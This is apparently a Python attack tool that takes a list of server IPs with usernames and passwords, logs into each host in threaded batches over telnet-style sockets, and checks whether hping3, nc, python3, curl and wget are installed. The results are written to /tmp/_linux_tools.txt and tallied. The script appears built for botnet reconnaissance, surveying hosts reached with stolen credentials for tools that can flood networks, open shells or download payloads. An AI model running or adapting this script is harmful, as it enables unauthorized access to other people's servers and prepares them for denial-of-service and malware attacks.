import socket, time, threading

devices = open("/tmp/linux_servers.txt").read().strip().split("\n")
results = []
lock = threading.Lock()
tested = [0]

def detect(line):
    parts = line.split(":")
    if len(parts) < 4: return
    ip, port, user, passwd = parts[0], int(parts[1]), parts[2], parts[3]
    tools = []
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip, port))
        time.sleep(0.3)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(0.6)
            data = s.recv(4096).decode(errors="ignore")
        try: s.recv(65536)
        except: pass
        # Check tools
        s.send(b"which hping3 2>/dev/null && echo T1; which nc 2>/dev/null && echo T2; which python3 2>/dev/null && echo T3; which curl 2>/dev/null && echo T4; which wget 2>/dev/null && echo T5\r\n")
        time.sleep(0.5)
        r = s.recv(4096).decode(errors="ignore")
        if "T1" in r: tools.append("hping3")
        if "T2" in r: tools.append("nc")
        if "T3" in r: tools.append("python3")
        if "T4" in r: tools.append("curl")
        if "T5" in r: tools.append("wget")
        s.close()
    except:
        pass
    with lock:
        results.append(line + ":" + ",".join(tools))
        tested[0] += 1

for i in range(0, len(devices), 20):
    batch = devices[i:i+20]
    threads = []
    for line in batch:
        t = threading.Thread(target=detect, args=(line,))
        t.daemon = True
        threads.append(t)
        t.start()
    for t in threads:
        t.join(timeout=10)

with open("/tmp/_linux_tools.txt", "w") as f:
    f.write("\n".join(results) + "\n")

hping = sum(1 for r in results if "hping3" in r)
nc = sum(1 for r in results if "nc" in r)
curl = sum(1 for r in results if "curl" in r)
wget = sum(1 for r in results if "wget" in r)
py = sum(1 for r in results if "python3" in r)
print("DONE hping3=" + str(hping) + " nc=" + str(nc) + " python3=" + str(py) + " curl=" + str(curl) + " wget=" + str(wget))
